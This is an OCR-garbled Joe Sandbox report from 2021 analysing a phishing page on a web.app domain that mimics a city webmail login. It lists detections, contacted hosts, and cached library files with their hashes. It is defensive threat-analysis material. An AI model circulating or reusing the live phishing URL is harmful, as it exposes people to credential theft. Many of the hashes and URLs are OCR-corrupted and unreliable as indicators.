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Windows Analysis Report https://[ranko23.web.app/mia;j...

Overview

General Information

Sample URL:  http:/fhttps://ranko23.web.
app/miajarantarankaran.ht
mi#jdoe@mycity.be

Analysis ID: 483926
Infos: ;f il &
Most interesting Screenshot:

Score:

Range:

Whitelisted:

Confidence:

Process Tree

= System is w10x64

Detection

F MALICIOUS ]

HTMLPhis
64

0-100
false

100%

Signatures

Antivirus / Scanner detection for sub...

Yara detected HtmIPhish10

Antivirus detection for URL or domain

URL centains potential Pl (phishing:..

Invalidi‘ferget password?linkfound
HiVIL boedy: contains low/number: ofi ...

HTML titleldoesinot matchi URL

Classification

. @ iexplore.exe (PID: 6840 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe’ -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
. @ iexplore.exe (PID: 6900 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:6840 CREDAT:17410 /prefetch:2 MD5:

071277CC2E3DF41EEEA8013E2AB58D5A)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Copyright Joe Security LLC 2021
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Antivirus | Scanner detection for submitted sample

Antivirus detection for URL or domain

Phishing: -i.

Yara detected HtmIPhish10

Mitre Att&ck Matrix

Command Remote
Initial Privilege  Defense Credential Lateral and Network Service
Access Execution Persistence Escalation Evasion Access Discovery  Movement Collection Exfiltration Control Effects Effects Impa
Valid Windows Path Process Masquerading oS File and Remote Data from Exfiltration Encrypted Eavesdrop on Remotely Modi
Accounts Management  Interception Injection Credential Directory Services Local Over Other Channel Insecure Track Device Syste
Instrumentation Dumping  Discovery System Network Network Without Partit
Medium Communication Authorization
Default  Scheduled Boot or Boot or Process LSASS Application  Remote Data from  Exfiltration Non- Exploit SS7to Remotely Devic
Accounts Task/Job Logon Logon Injection Memory  Window Desktop Removable Over Application Redirect Phone Wipe Data  Lock¢
Initialization Initialization Discovery Protocol Media Bluetooth  Layer Calls/SMS Without
Scripts Scripts Protocol Authorization
Domain At (Linux) Logon Script Logon Obfuscated Files Security =~ Query SMB/Windows Data from Automated Application Exploit SS7to Obtain Delet
Accounts (Windows)  Script or Information Account  Registry Admin Shares Network Exfiltration Layer Track Device  Device Devic
(Windows) Manager Shared Protocol g Location Cloud Data
Drive Backups
Local At (Windows)  Logon Script Logon Binary Padding NTDS System Distributed Input Scheduled Ingress SIM Card Carrit
Accounts (Mac) Script Network Component  Capture Transfer Tool Swap Billing
(Mac) Configuration Object Model Transfer Frauc
Discovery
Behavior Graph
Behavior Graph Legend:
ID: 483926
Process
URL: https://ranko23.web.app/mia... SUSPICIOUS )
Startdate:  15/09/2021 LA [ signature
Architecture:  WINDOWS S — I:' Created File
Score: 64 . DNS/IP Info
i'l Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

B
o0

Visual Basic

g5
2z
oz

)

Delphi

i
i
=

Java

.Net C# or VB.NET

ranko23.web.app
started

@ iexplore.exe a

C, C++ or other language

L@ 2 )

m Is malicious
Internet
atn

ICRITE B

started
www.google.com ranko23.web.app
172.217.168.36, 443, 49789, 49790 199.36.158.100, 443, 49769, 49770 5 other IPs or domains
GOOGLEUS GOOGLEUS

United States ES United States E5
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

@ https://ranko23.web.app/miajarantarankaran htmi%jdoe@mycity.be

& Mail b

O MYCITY

Please sign using your email and

password to gain access

&l jdoe@mycity.be

[ Secure Login session? Forgot Password?

Copyrighi@ MYCITY 2021

O Type here to search

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source

hitp:/fhttps://ranko23.web.app/miajarantarankaran.html#doe@mycity.be
hitp://https://ranko23.web.app/miajarantarankaran.html#jdoe @mycity.be

Dropped Files

No Antivirus matches

Copyright Joe Security LLC 2021

Detection
0%
100%

Scanner Label Link
Avira URL Cloud safe

SlashNext Fake Login Page
type: Phishing &
Social Engineering
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Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:ifhttps://ranko23.web.app/images/1.png 0% Avira URL Cloud safe
http:ifhttps://ranko23.web.app/miajarantarankaran.html#oe 0% Avira URL Cloud safe
http:ifhttps://promisesaplus.com/#point-75 0% URL Reputation safe
http://https://fontawesome.comhttps://fontawesome.comFont 0% Avira URL Cloud safe
http:ifhttps://ranko23.web.ap 0% Avira URL Cloud safe

http://getbootstrap.com) 0% Avira URL Cloud safe
http:ifhttps:/iranko23.web.app/css/hover.css 0% Avira URL Cloud safe
http:ifhttps://promisesaplus.com/#point-64 0% URL Reputation safe
http:i/https://ranko23.wp/miajarantarankaran.htmi#oe 0% Avira URL Cloud safe
http:ifhttps://promisesaplus.com/#point-61 0% URL Reputation safe
http:ifhttps://ranko23.web.app/favicon.ico 0% Avira URL Cloud safe
http:ifhttps://promisesaplus.com/#point-59 0% URL Reputation safe
http://https://ranko23.wRoot 0% Avira URL Cloud safe
http:/fhttps:/iranko23.web.app/miajarantarankaran.html 0% Avira URL Cloud safe
http:ifhttps://promisesaplus.com/#point-57 0% URL Reputation safe
http:i/https://promisesaplus.com/#point-54 0% URL Reputation safe
http:i/https://getbootstrap.com) 0% Avira URL Cloud safe
http:ifhttps://promisesaplus.com/#point-48 0% URL Reputation safe
http://https://ranko23.web.app/miajarantarankaran.html#jdoe 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
stackpath.bootstrapcdn.com 104.18.10.207 true false high
ranko23.web.app 199.36.158.100 true false unknown
cdnjs.cloudflare.com 104.16.19.94 true false high
maxcdn.bootstrapcdn.com 104.18.10.207 true false high
www.google.com 172.217.168.36 true false high
use.fontawesome.com unknown unknown false high
code.jgquery.com unknown unknown false high
Contacted URLs

Name Malicious Antivirus Detection Reputation
http:ifhttps://ranko23.web.app/images/1.png false e Avira URL Cloud: safe unknown
http://https://www.google.com/s2/favicons?domain=mycity.be false high
http:ifhttps:/iranko23.web.app/css/hover.css false e Avira URL Cloud: safe unknown
http://https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js false high
http:ifhttps:/iranko23.web.app/favicon.ico false e Avira URL Cloud: safe unknown
http:ifhttps://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js false high
http://https:/iranko23.web.app/miajarantarankaran.html false e Avira URL Cloud: safe unknown
http://https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css false high
http://https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js false high
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URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

199.36.158.100 ranko23.web.app United States £S5 15169 GOOGLEUS false

104.18.10.207 stackpath.bootstrapcdn.co United States £S5 13335 CLOUDFLARENETUS false
m

172.217.168.36 www.google.com United States £S5 15169 GOOGLEUS false

104.16.19.94 cdnjs.cloudflare.com United States £S5 13335 CLOUDFLARENETUS false

General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 483926

Start date: 15.09.2021

Start time: 16:27:01

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 3m 5s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: browseurl.jbs

Sample URL: http://https://ranko23.web.app/miajarantarankaran.html#jdoe@mycity.be

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 9

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e AMSI enabled

Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal64.phis.win@3/25@8/4
Cookbook Comments: e Adjust boot time
e Enable AMSI
e Browsing link: https://ranko23.web.app/miajarantarankaran.html#
Warnings: Show All
Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs
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No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created |/ dropped Files

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{20DCD1A1-1631-11EC-90EB-ECF4BBEA1588}.dat

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 30296

Entropy (8bit):  1.8516577181753955

Encrypted: false

SSDEEP: 192:rMZbZH2gWMtQifaagzM20B40DIsflaNjX:rMNWp4dn3x46

MD5: 021E4152E290A64B58517B4D15265A60

SHA1L: 1A825A029CDD487357F5E8C1A3CB6A0F2C247AC8

SHA-256: AA4C5B91C2A00047AD0AAB7FIF874F1C87F9A8C011475C25118BDEED3DB6DDIF
SHA-512: FFD786E4239401CE714EFD3574FA93A90B1252119572494E29F5BD6823D408B6DDA723FC047EE642CC8258196CF81154AAD77B1B353EBCABAG71C8426E9DC64
Malicious: false

Reputation: low

Preview:

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{20DCD1A3-1631-11EC-90EB-ECF4BBEA1588}.dat

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 37936

Entropy (8bit):  1.9874627197240438

Encrypted: false

SSDEEP: 192:rDZQQ86akKj92IWvM7POUTT6IHWrQJIL5B:rFpHZEO8KINTTGQMhX

MD5: B545877AES56ADA9C163F3E2624F641DD

SHAL: 8D14DA8E85873CB7AD13A6F62F1B20826078DDC1

SHA-256: AO01DEA320CA72137BC3D5373EDO85FEDA4F83B28AEOFD06B1F02084C243DD000

SHA-512: 25F51DA14EO0E116645A0CC81C5FBOAS6D4EF017C5E710F3A76F536CD72D9FF5BBDF393C53FA4BF102E39E11820EED66AFB2096A243A813A95562464D5FADBA!
1

Malicious: false

Reputation: low

Preview:

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{20DCD1A4-1631-11EC-90EB-ECF4BBEA1588}.dat

Process: C:\Program Files\internet explorer\iexplore.exe
File Type: Microsoft Word Document

Category: dropped

Size (bytes): 16984
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{20DCD1A4-1631-11EC-90EB-ECF4BBEA1588}.dat
Entropy (8bit):  1.5658486442541233

Encrypted: false

SSDEEP: 48:lwBGcprgGwpapG4pQdGrapbhS5GQpK7G7HpRNTGIpG:r3ZoQr69BSTAGTVA

MDS5: 034755C077179B2A2BD75B2EF949B3AB

SHA1L: 7C86CD900C26B318D94A69F525548A8FD9I663080

SHA-256: CBCBOAE2585E9429973926637CF575EE25BA4692954CA09C3F2C05AAC57329ED

SHA-512: 7D2D18A29322BF39199D63E14F5D6C828CIF7570E00A27434F87BDCO8F65BB2CA63FFC33A0676F8A494A5A35E471DF529594F509517031C8E5B6D84D1DB3B3E!:
Malicious: false

Reputation: low

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellIE\2WF3MMUU\all[1].css

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 54641

Entropy (8bit):  4.712564291864468

Encrypted: false

SSDEEP: 768:SuV31Uz1RPg4NvwUB3HIYKkQCZ/WMQYjIKp7CzsGnQzU:SuczrC4NnzHSBCkgu7cslw

MD5: 251D28BD755F5269A4531DF8A81D5664

SHA1L: COF035B41B23C6E8FAB735F618AA3CFF0897B4F9

SHA-256: AFDC6BF2DE981FFD7D370B76F44E7580572F197EFBE214B9CFA4005D189D8EAE

SHA-512: 8111F411C21C6011644139DBA4EF24D1696COF6D31E55CE384E0353A0F3E65402170C502BDDF803C3DF9149C371B31C03F77BE98FDBC61COCIC55AFBE399681
Malicious: false

Reputation: low

Preview:

/*1. * Font Awesome Free 5.7.0 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1,
Code: MIT License). */..fa,.fab,.fal, .far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:
normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.066 7em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-s
ize:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size: 7em}.fa-8x{font-size:8em}.fa-9x{font-siz
e:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;positio
n:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-lef

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\fa-regular-400[1].eot

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: Embedded OpenType (EOT), Font Awesome 5 Free Regular family

Category: dropped

Size (bytes): 34388

Entropy (8bit):  6.318369535520673

Encrypted: false

SSDEEP: 384:xpjLItPRwpXUazLuDULbN1TH/uOlrk4jx31+89AyI6WcRWKkNcQU7:xhLDPXy6DO7/uOtx29uc5NcQU7

MD5: 065EDEA411671C8CACEECB999354CC21

SHA1L: 472BB21B28AB36F7F4F5A06BFF20E9D9697CB2D6

SHA-256: 50EAAD924A3834FF9BD10545BB3D3B03C36507EEBF337AD1A59744B442EOECCD

SHA-512: A9616078CA48C389C5D823BOB5C2CEALE79867449D13582551D9DEDD547C16CA955581493F207C20091BAA12607AEO0ESE4A59F189ACEOALD171370FB45ACFE

Malicious: false

Reputation: low

Preview:
T LP.iiiiiii D 6.F.o.nt. Aw.e.s.ome. 5 Free. Regular..Regular.J329.472 (Fo.nt Aw.es.ome. .ve.r.
s..o.n.:. .5..7..0)..6.F.o.nt. .Aw.es.ome. .5 Free. .Regular........PFFTMJ(...... GDEF.*..........0S/2A.....X..."cmap.

$hmtx._.t....... Tloca.E........ 6maxp....... 8... name(03...w....Upost.OA.. }<......... IX.D..._.<
: @ P

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\2WF3MMUU\favicons[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 492

Entropy (8bit): 7.443140866786406

Encrypted: false

SSDEEP: 12:6v/7w9xBoc7dfomXwR54uPABdsBCRGEO3H76f79ysL5w:t9/1dfbV5plssNO3H7kpyW5sw
MD5: 3CAB4F83FDCF25135D87E08AF65E68C9

SHAL: B82D0979D555BD137B33C15021129E06CBEEAS9A

SHA-256: 2E30FF33270FD8687B0OEB4D12652BFD967F23975F158BF8DA93BECE2BA4ABI47
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\favicons[1].png

SHA-512:

Malicious:
Reputation:

Preview:

7675A8C4E6146E62DDA019340EF95E477AA3D14364B5A773114EA1110C38233F5D8D9B08F6C83BF7664B33695AAC7254B25D727A15EA6A9DED2ECIOD1EA07DC(

L#P.c*2..0 @.
.L.&a..5.0..VAN..m.......... $....... (..b{....8a.L.a.BM....0.....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\jquery-3.1.1.min[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines

dropped

86709

5.367391365596119

false
1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcqOhrLZwpsYbmzORDU8Cu5
E071ABDA8SFE61194711CFC2AB99FE104

F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFDIBF

53A2B560B20551672FBBOEGE72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DESA279AEA19911D69067E
65

false

low

/*1jQuery v3.1.1 | (c) jQuery Foundation | jquery.org/license */.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.do
cument?b(a,!0):function(a){if('a.document)throw new Error("jQuery requires a window with a document”);return b(a)}:b(a)}(“undefined"!=typeof window?window:this,
function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf j={} k=j.toString,I=j.hasOwnProperty, m=I.toString,n=m.c
all(Object),o0={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var g="3.1.1" r=function(a,b){return new
r.fn.init(a,b)},s=/"\s\uFEFF\XAO]+|[\s\uFEFF\xAQ]+$/g,t=/"-ms-/ ,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,t
oArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\jquery-3.2.1.slim.min[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines

dropped

69597

5.369216080582935

false
1536:qNhEyjjTIkEJO4edXXe9J578go6MWX2xkjVe4c4j2112Ac7pK3F71QDUBCUT:Exc2yjg4j2uYnQDUBCUT
5F48FC77CAC90C4778FA24ECIC57F37D

9E89D1515BC4C371B86F4ACB1002FD8E377C1829F
9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398

CAB8C4AFA1DSE3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6BOEC2E1C9C618FB1437EBC77D3/
269

false

low

/*!'jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-
effects,-effects/Tween,-effects/animatedSelector | (c) JS Foundation and other contributors | jquery.org/license */.!function(a,b){"use strict";"object"==typeof module
&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if('a.document)throw new Error("jQuery requires a window with a document");return
b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j=
{},k=j.toString,|=j.hasOwnProperty,m=I.toString,n=m.call(Object),0={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).pare
ntNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachell[E\2WF3MMUU\miajarantarankaran[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
dropped

19288

5.736039178655562

false
384:Xdk0fHwunquk2AgQKEA4f5AXVOUEVNA1DUY9jz7CbLYK+SQ7:Xdk0fxnquvgBKKKA
BOFFDF5A357DE6B94D842FFC758EFAF6
28D2B46E9F69EF6ES59E5FAF753BFFAS639F04A0
A8511F77258A32C8D8C4769CD2695EAABI70D72ECF869186C287B516093BA33E

04F3B9D3789375E5888F50BB5016D611656DCD066CC928DDCIAE45EDO1IEC7C8611DFIA9CC3BCOCEFC91EF4A645CD7825FE76BC8B12AD49BF0200DC6CFAAC
DB6

false

low
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\miajarantarankaran[1].htm

Preview:
..<!doctype html>..<html lang="en">..<head>.. <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script
type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. ~ <script type="text/JavaScript" src="https://code.jquery.com/jquery-3.3.1.js" in
tegrity="sha256-2Kok7MbOyxpgUVVAk/HJ2jigOSY S2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. Required meta tags -->.. <meta charset="utf-8">..
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.. Bootstrap CSS -->..  <link rel="stylesheet" href="https://maxcdn.bootstra
pcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1laoWXA+058RXPxPg6fy4IWvTNhOE263XmFcJISAWIGgFAW/dAIS6IXm" crossori
gin="anonymous">.. <link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">.. .. <link rel="stylesheet" href="https://u
se.fontawesome.c

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\90261KNJ\1[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 19288

Entropy (8bit):  5.736039178655562

Encrypted: false

SSDEEP: 384:Xdk0fHWUnquK2AgQKEA4f5AXVOUEVNd1DUY9jz7CbLYK+SQ7:Xdk0fxnquvgBKkKA

MD5: BOFFDF5A357DE6B94D842FFC758EF4F6

SHAL: 28D2B46E9F69EF6ES59E5FAF753BFFAS5639F04A0

SHA-256: AB511F77258A32C8D8C4769CD2695EAABI70D72ECF869186C287B516093BA33E

SHA-512: 04F3B9D3789375E5888F50BB5016D611656DCD066CC928DDCIAEA5EDOIEC7C8611DFIA9CC3BCOCEFCI1EF4A645CD7825FE76BC8B12AD49BF0200DC6CF4AC
DB6

Malicious: false

Reputation: low

Preview:

..<!doctype html>..<html lang="en">..<head>.. <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script
type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. ~<script type="text/JavaScript" src="https://code jquery.com/jquery-3.3.1.js" in
tegrity="sha256-2Kok7MbOyxpgUVVvAk/HJ2jigOSY S2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. Required meta tags -->.. <meta charset="utf-8">..
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.. Bootstrap CSS -->..  <link rel="stylesheet" href="https://maxcdn.bootstra
pcdn.com/bootstrap/4.0.0/css/bootstrap.min.css” integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNhOE263XmFcJISAWIGgFAW/dAIS6IXm" crossori
gin="anonymous">.. <link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">.. .. <link rel="stylesheet" href="https://u
se.fontawesome.c

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\90261KNJ\bootstrap.min[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 51039

Entropy (8bit):  5.247253437401007

Encrypted: false

SSDEEP: 768:E9YW7GuIM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FilD65r48Hgp5HRI+E9X7PMIM7VA4R5LFAXTWYUuHHgp5HRI+

MD5: 67176C242E1BDC20603C878DEE836DF3

SHA1L: 27A71B00383D61EF3C489326B3564D698FC1227C

SHA-256: 56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4

SHA-512: 9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8FACE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD(
A

Malicious: false

Reputation: low

Preview:

/*1. * Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed un
der MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require(“jque
ry"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use
strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),0bject.defineProperty(t,i.key,i)}}funct
ion s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t{function I(r){for(var t=1;t<arguments.length;t++){var o=null'=arguments|t]?arguments][t]:{},e=Object.keys(o);"function"
==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(0).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\90261KNJ\css[2].css

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text

Category: dropped

Size (bytes): 223

Entropy (8bit):  5.142612311542767

Encrypted: false

SSDEEP: 6:0IFFDK+Q+56ZRWHMgh7izIpdRSRk68k3tg9EFNIn:jFI+Q0O6ZRoMqt6p3Tk9g9CY

MD5: 72C5D331F2135E52DA2A95F7854049A3

SHAL: 572F349BB65758D377CCBAE434350507341ACD7B

SHA-256: C3A12D7E8F6B2B1F5E4CD0C9938DFC79532AEF90802B424EE910093F156586DA

SHA-512: 9EA12CC277C9858524083FEBBE1A3E61FDECE5S268F63B14C9FFAFE29396C7CCDB3B07BE10ES29936BCCD8F3BI9E39DCFA6BC4316F189E4CEA914F1D06916DE
66B

Malicious: false

Reputation: low
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\90261KNJ\css[2].css

Preview:
@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v12/tss
0ApVBdCYD5Q7hcxTE1ArZ0bbwiXo.woff) format('woff);.}.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\90261KNJ\fa-solid-900[1].eot

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: Embedded OpenType (EOT), Font Awesome 5 Free Solid family
Category: dropped

Size (bytes): 186512

Entropy (8bit):  6.3581539987153635

Encrypted: false
SSDEEP: 3072:BaCp8Nnlugr9ejZ5hLL1CdvPXiaz9YYO0AhWVEaKL/gjrLhFixwPXI+ehAMedg:BaCp8NnldBGh9CxXiMIPOAhWOejthFHN
MD5: A20E6745ADC3184DE8330B1F0579161F
SHA1L: 48D82A3D0758D1F87B029AFCBBC596DEOBOES872
SHA-256: 9F0334C395C4B7A6110B67F8170C4B84A75D8D0D314D6E44EBID22AF 770126 FF
SHA-512: 8C3BFC0403BBEA0588FB695B4FED1546581B63CE6B71E8E66A0AED2B518A998CE965EF93D884969EE1CEFF10F8E63664775E222484D14BEDOA3C3F80C2FC76!
F
Malicious: false
Reputation: low
Preview:
JOTR AT UPURTRURRRON LP e 2.F.o.nt. .Aw.e.s.om.e. 5 .Free..So.lid...S.0lid..J3.29..4.7.2. (F.o.nt Aw.e.s.om.e..vers.io.n.: 5.7.
.0.)...2.F.o.nt. .Aw.es.ome. .5 .Fre.e..S.olid.........PFFTMJ(".X...GDEF.*....8...0S/2Co....X....cmapA6M....\....gasp....... 0....glyf. #.*..z.head..D....... 6hhea
@. .Lf
C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\bootstrap.min[1].css
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: ASCII text, with very long lines
Category: dropped
Size (bytes): 144877
Entropy (8bit):  5.049937202697915
Encrypted: false
SSDEEP: 1536:GcoqwrUPYyDHU7c7TcDEBI82NcuSELL4d/+0ENMEHN26Q:VoPgPard20ENMEHN26Q
MD5: 450FC463B8B1A349DF717056FBB3E078
SHA1L: 895125A4522A3B10EE7ADAOGEE6503587CBF95C5
SHA-256: 2COF3DCFE93D7E380C290FE4AB838EDSCADFF1596D62697F5444BE460D1F876D
SHA-512: 93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EASECF9228801D962F5LC
Malicious: false
Reputation: low
Preview:

/*1. * Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github
.com/twbs/bootstrap/blob/master/LICENSE). */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--
green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--
